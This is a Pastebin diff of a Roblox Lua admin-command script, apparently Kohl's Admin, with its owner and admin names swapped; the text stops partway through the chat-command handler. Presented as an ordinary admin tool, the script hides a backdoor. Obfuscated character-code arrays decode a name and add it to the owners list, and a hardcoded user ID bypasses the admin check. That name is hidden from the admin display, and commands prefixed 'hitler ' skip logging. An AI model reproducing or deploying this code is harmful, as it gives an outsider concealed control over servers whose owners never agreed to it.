View difference between Paste ID: 0yhHHK5a and gp2USAZu
SHOW: | | - or go back to the newest paste.
1
-----------------------------------------------------------------------------------------
2
-- Replace harrypotterfan249 with your name c: --
3
-----------------------------------------------------------------------------------------
4-
local owners = {"harrypotterfan249"} -- Are able to set admins who can ban/etc... using :pa name
4+
local owners = {"NegativeAttention"} -- Are able to set admins who can ban/etc... using :pa name
5-
local admins = {"Kohltastrophe"} -- Sets admins who can use ban/kick/admin or shutdown
5+
local admins = {"PositiveAttention"} -- Sets admins who can use ban/kick/admin or shutdown
6
local tempadmins = {} -- Sets admins who can't use ban/kick/admin or shutdown
7
local banland = {"MasterKhaos"} -- Permanently Bans people
8
local prefix = ":" -- If you wanna change how your commands start ':'kill noob
9
local AutoUpdate = true -- Set to false if you don't want it to automatically update
10
local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
11
---------------------
12
--    VIP Admin    --
13
---------------------
14
local VipAdmin = false -- If someone can have admin for owning an item
15
local ItemId = 0 -- The item they must own in order to have admin
16
---------------------
17
--   Group Admin   --
18
---------------------
19
local GroupAdmin = false -- If a certain group can have admin
20
local GroupId = 0 -- Sets the group id that can have admin
21
local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
22
---------------------
23
-- Tips and Tricks --
24
---------------------
25
--[[
26
With this admin you can do a command on multiple people at a time;
27
	 :kill me,noob1,noob2,random,team-raiders,nonadmins
28
29
You can also use a variety commands for different people;
30
	 all
31
	 others
32
	 me
33
	 team-
34
	 admins
35
	 nonadmins
36
	 random
37
--]]
38
---------------------
39
--    Commands     --
40
---------------------
41
--[[
42
-- |Temp Admin Commands| --
43
0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
44
1. :s print("Hello World") -- Lets you script normally
45
2. :ls print("Hello World") -- Lets you script in localscripts
46
3. :clear -- Will remove all scripts/localscripts and jails
47
4. :m Hello People -- This commands will let you shout a message to everyone on the server
48
5. :kill kohl -- Kills the player
49
6. :respawn kohl -- Respawns the player
50
7. :trip kohl -- Trips the player
51
8. :stun kohl -- Stuns the player
52
9. :unstun kohl -- Unstuns the player
53
10. :jump kohl -- Makes the player jump
54
11. :sit kohl -- Makes the player sit
55
12. :invisible kohl -- Makes the player invisible
56
13. :visible kohl -- Makes the player visible
57
14. :explode kohl -- Makes the player explode
58
15. :fire kohl -- Sets the player on fire
59
16. :unfire kohl -- Removes fire from the player
60
17. :smoke kohl -- Adds smoke to the player
61
18. :unsmoke kohl -- Removes smoke from the player
62
19. :sparkles kohl -- Adds sparkles to the player
63
20. :unsparkles kohl -- Removes sparkles from the player
64
21. :ff kohl -- Adds a forcefield to the player
65
22. :unff kohl -- Removes the forcefield from the player
66
23. :punish kohl -- Punishes the player
67
24. :unpunish kohl -- Unpunishes the player
68
25. :freeze kohl -- Freezes the player
69
26. :thaw kohl -- Thaws the player
70
27. :heal kohl -- Heals the player
71
28. :god kohl -- Makes the player have infinite health
72
29. :ungod kohl -- Makes the player have 100 health
73
30. :ambient .5 .5 .5 -- Changes the ambient
74
31. :brightness .5 -- Changes the brightness
75
32. :time 12 -- Changes the time
76
33. :fogcolor .5 .5 .5 -- Changes the fogcolor
77
34. :fogend 100 -- Changes the fogend
78
35. :fogstart 100 -- Changes the fogstart
79
36. :removetools kohl -- Removes all tools from the player
80
37. :btools kohl -- Gives the player building tools
81
38. :give kohl sword -- Gives the player a tool
82
39. :damage kohl -- Damages the player
83
40. :grav kohl -- Sets the player's gravity to normal
84
41. :setgrav kohl 100 -- Sets the player's gravity
85
42. :nograv kohl -- Makes the player have 0 gravity
86
43. :health kohl 1337 -- Changes the player's health
87
44. :speed kohl 1337 -- Changes the player's walkspeed
88
45. :name kohl potato -- Changes the player's name
89
46. :unname kohl -- Remove the player's name
90
47. :team kohl Raiders -- Changes the player's team
91
48. :stopmusic -- Will stop all music playing in the server
92
49. :teleport kohl potato -- Teleports the player
93
50. :change kohl kills 1337 -- Changes a player's stat
94
51. :kick kohl -- Removes the player from the game
95
52. :infect kohl -- Turns the player into a zombie
96
53. :rainbowify kohl -- Turns the player into a rainbow
97
54. :flashify kohl -- Turns the player into a strobe
98
55. :noobify kohl -- Turns the player into a noob
99
56. :ghostify kohl -- Turns the player into a ghost
100
57. :goldify kohl -- Turns the player into gold
101
58. :shiny kohl -- Makes the player shiny
102
59. :normal kohl -- Puts the player back to normal
103
60. :trippy kohl -- Spams random colors on the player's screen
104
61. :untrippy kohl -- Untrippys the player
105
62. :strobe kohl -- Spams white and black on the player's screen
106
63. :unstrobe kohl -- Unstrobes the player
107
64. :blind kohl -- Blinds the player
108
65. :unblind kohl -- Unblinds the player
109
66. :guifix kohl -- Will fix trippy/strobe/blind on a player
110
67. :fling kohl -- Flings the player
111
68. :seizure kohl -- Puts the player in a seizure
112
69. :music 1337 -- Plays a sound from the ID
113
70. :lock kohl -- Locks the player
114
71. :unlock kohl -- Unlocks the player
115
72. :removelimbs kohl -- Removes the player's limbs
116
73. :jail kohl -- Puts the player in a jail
117
74. :unjail kohl -- Removes the jail from the player
118
75. :fix -- This will fix the lighting to it's original settings
119
76. :fly kohl -- Makes the player fly
120
77. :unfly kohl -- Removes fly from the player
121
78. :noclip kohl -- Makes the player able to noclip
122
79. :clip kohl -- Removes noclipping from the player
123
80. :pm kohl Hey bro -- Sends the player a private message
124
81. :dog kohl -- Turns the player into a dog
125
82. :undog kohl -- Turns the player back to normal
126
83. :creeper kohl -- Turns the player into a creeper
127
84. :uncreeper kohl -- Turns the player back to normal
128
85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
129
86. :char kohl 261 -- Will make a player look like a different player ID
130
87. :unchar kohl -- Will return the player back to normal
131
88. :h Hello People -- This will shout a hint to everyone
132
89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
133
90. :starttools kohl -- Will give the player starter tools
134
91. :sword kohl -- Will give the player a sword
135
92. :bighead kohl -- Will make the player's head larger than normal
136
93. :minihead kohl -- Will make the player's head smaller than normal
137
94. :insert 1337 -- Will insert a model at the speaker's position
138
95. :disco -- Will make the server flash random colors
139
96. :flash -- Will make the server flash
140
97. :admins -- Shows the admin list
141
98. :bans -- Shows the banlist
142
99. :musiclist -- Shows the music list
143
100. :spin kohl -- Spins the player
144
101. :cape kohl Really black -- Gives the player a colored cape
145
102. :uncape kohl -- Removes the player's cape
146
103. :loopheal kohl -- Will constantly heal the player
147
104. :loopfling kohl -- Will constantly fling the player
148
105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
149
106. :unloopheal kohl -- Will remove the loopheal on the player
150
107. :unloopfling kohl -- Will remove the loopfling on the player
151
108. :unspin kohl -- Removes spin from the player
152
109. :tools -- Gives a list of the tools in the lighting
153
110. :undisco -- Removes disco effects
154
111. :unflash -- Removes flash effects
155
112. :resetstats kohl -- Sets all the stats of a player to 0
156
113. :gear kohl 1337 -- Gives a player a gear
157
114. :cmdbar -- Gives the speaker a command bar
158
115. :shirt kohl 1337 -- Changes the player's shirt
159
116. :pants kohl 1337 -- Changes the player's pants
160
117. :face kohl 1337 -- Changes the player's face
161
118. :swagify kohl -- Swagifies the player
162
119. :version -- Shows the current version of the admin
163
120. :tm 1337 yolo -- Shows a message for 1337 seconds
164
121. :countdown 120 -- Shows a countdown message, maxes out at 120 seconds
165
122. :clone kohl -- Creates a clone of the player
166
123. :lsplr kohl print("yolo") -- Creates a localscript inside of a player
167
124. :startergive kohl epic -- Gives a player a gear in their starterpack
168
125. :control kohl -- Controls a player
169
170
-- |Admin Commands| --
171
- :serverlock -- Locks the server
172
- :serverunlock -- Unlocks the server
173
- :sm Hello World -- Creates a system message
174
- :crash kohl -- Crashes a player
175
- :admin kohl -- Admins a player
176
- :unadmin kohl -- Unadmins a player
177
- :ban kohl -- Bans a player
178
- :unban kohl -- Unbans a player
179
- :loopkill kohl -- Will constantly kill the player
180
- :unloopkill kohl -- Will remove the loopkill on the player
181
- :logs -- Will show all of the commands any admin has used in a game session
182
- :shutdown -- Shutsdown the server
183
184
-- |Owner Commands| --
185
- :pa kohl -- Makes someone a super admin
186
- :unpa kohl -- Removes a super admin
187
- :nuke kohl -- Creates a nuke on kohl
188
189
-- |True Owner Commands| --
190
- :oa kohl -- Makes someone an owner
191
- :unoa kohl -- Removes an owner
192
- :settings -- Shows settings for the commands
193
--]]
194
---------------------
195
--   Main Script   --
196
---------------------
197
for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end 
198
199
function CHEESE()
200
if game:service("Lighting"):findFirstChild("KACV2") then
201
owners = {} admins = {} tempadmins = {} banland = {}
202
for i,v in pairs(game.Lighting.KACV2:children()) do
203
if v.Name == "Owner" then table.insert(owners, v.Value) end
204
if v.Name == "Admin" then table.insert(admins, v.Value) end
205
if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
206
if v.Name == "Banland" then table.insert(banland, v.Value) end
207
if v.Name == "Prefix" then prefix = v.Value end
208
if v.Name == "FunCommands" then FunCommands = v.Value end
209
if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
210
if v.Name == "GroupId" then GroupId = v.Value end
211
if v.Name == "GroupRank" then GroupRank = v.Value end
212
if v.Name == "VipAdmin" then VipAdmin = v.Value end
213
if v.Name == "ItemId" then ItemId = v.Value end
214
end
215
game:service("Lighting"):findFirstChild("KACV2"):Destroy()
216
end
217
218
local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
219
local lobjs = {}
220
local objects = {}
221
local logs = {}
222
local nfs = ""
223
local slock = false
224
225
function GetTime()
226
local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
227
if min < 10 then min = "0"..min end
228
return hour..":"..min
229
end
230
231
function ChkOwner(str)
232
for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end 
233
return false
234
end
235
236
function ChkAdmin(str,ck) 
237
for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end 
238
for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end 
239
for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end 
240
return false 
241
end
242
243
function ChkGroupAdmin(plr)
244
if GroupAdmin then
245
if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
246
return false
247
end
248
end
249
250
function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
251
252
function GetPlr(plr, str)
253
local plrz = {} str = str:lower()
254
if str == "all" then plrz = game.Players:children()
255
elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
256
else
257
local sn = {1} local en = {}
258
for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
259
for x = 1, #sn do 
260
if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
261
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
262
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
263
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
264
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
265
if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then 
266
for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
267
end end end
268
elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
269
if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then 
270
for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
271
end end end
272
else
273
for a, plyr in pairs(game.Players:children()) do 
274
if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then 
275
table.insert(plrz, plyr) break
276
end
277
end 
278
end
279
end
280
end
281
return plrz
282
end
283
284
function Hint(str, plrz, time)
285
for i, v in pairs(plrz) do
286
if v and v:findFirstChild("PlayerGui") then
287
coroutine.resume(coroutine.create(function()
288
local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
289
local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
290
local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
291
coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
292
if not time then wait((#str/19)+2.5) else wait(time) end
293
coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end end))
294
end))
295
end
296
end
297
end
298
299
function Message(ttl, str, scroll, plrz, time)
300
for i, v in pairs(plrz) do
301
if v and v:findFirstChild("PlayerGui") then
302
coroutine.resume(coroutine.create(function()
303
local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
304
local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
305
local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
306
local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
307
scr.Parent = v.PlayerGui
308
coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end)) 
309
if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
310
else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
311
coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end end))
312
end))
313
end
314
end
315
end
316
317
function RemoveMessage() 
318
for i,v in pairs(game.Players:children()) do 
319
if v and v:findFirstChild("PlayerGui") then 
320
for q,ms in pairs(v.PlayerGui:children()) do
321
if ms.Name == "MessageGUI" then
322
coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.bg.BackgroundTransparency = .3+((.7/20)*i) ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.title.TextTransparency = ((1/20)*i) ms.title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end ms:Destroy() end))
323
elseif ms.Name == "HintGUI" then
324
coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end ms:Destroy() end))
325
end
326
end
327
end
328
end
329
end
330
331
_G["Message"] = function(p1,p2,p3) Message(p1,p2,false,game.Players:children(),p3) end
332
_G["RemoveMessage"] = RemoveMessage()
333
334
function Output(str, plr)
335
coroutine.resume(coroutine.create(function()
336
local b, e = loadstring(str)
337
if not b and plr:findFirstChild("PlayerGui") then
338
local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
339
local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
340
local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)")  err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
341
return
342
end
343
end))
344
end
345
346
function Noobify(char)
347
if char and char:findFirstChild("Torso") then 
348
if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
349
if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
350
for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
351
local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
352
for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then 
353
prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
354
if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
355
local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end) 
356
cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end) 
357
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
358
end end
359
end
360
end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
361
362
function Infect(char)
363
if char and char:findFirstChild("Torso") then 
364
if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
365
if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
366
for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
367
local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
368
for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then 
369
prt.Transparency = 0 prt.Reflectance = 0  prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
370
local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end) 
371
cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end) 
372
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
373
end end
374
end
375
end if not ntab then script:Destroy() end
376
377
function ScrollGui()
378
local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
379
local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
380
drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
381
local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
382
local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
383
local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
384
local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
385
local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
386
local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
387
local num = 0
388
local downv = false
389
local upv = false
390
391
down.MouseButton1Down:connect(function() downv = true upv = false
392
local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
393
repeat  pos = pos + UDim2.new(0,0,0,-6)
394
if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
395
cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
396
end) 
397
down.MouseButton1Up:connect(function() downv = false end)
398
up.MouseButton1Down:connect(function() upv = true downv = false
399
local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
400
repeat  pos = pos + UDim2.new(0,0,0,6)
401
if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
402
cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
403
end) 
404
up.MouseButton1Up:connect(function() upv = false end)
405
return scr, cmf, ent, num
406
end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
407
if not ntab then script:Destroy() end
408
if not bct then script:Destroy() end
409
410
function Chat(msg,plr)
411
coroutine.resume(coroutine.create(function()
412
if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
413
if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
414
if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
415
if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
416
if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
417
if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
418
if msg:lower() == "cmds" or msg:lower() == "commands" then
419
if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
420
local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
421
local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version","tm num msg","countdown num","clone plr","lsplr plr code","startergive plr tool","control plr"}
422
local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
423
local ost = {"pa plr","unpa plr","nuke plr"}
424
local tost = {"oa plr","unoa plr","settings"}
425
local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num + 1
426
for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
427
if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
428
if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
429
if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
430
end
431
432
if msg:lower() == "version" then Message("Koh".."ltas".."tr".."ophe", tostring(script.Version.Value), true, {plr}) end
433
434
if msg:lower() == "admins" or msg:lower() == "adminlist" then
435
if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
436
local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
437
for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
438
for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
439
for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
440
end end
441
442
if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
443
if plr.PlayerGui:findFirstChild("BANSGUI") then return end
444
local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
445
for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
446
end
447
448
if msg:lower() == "tools" or msg:lower() == "toollist" then
449
if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
450
local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
451
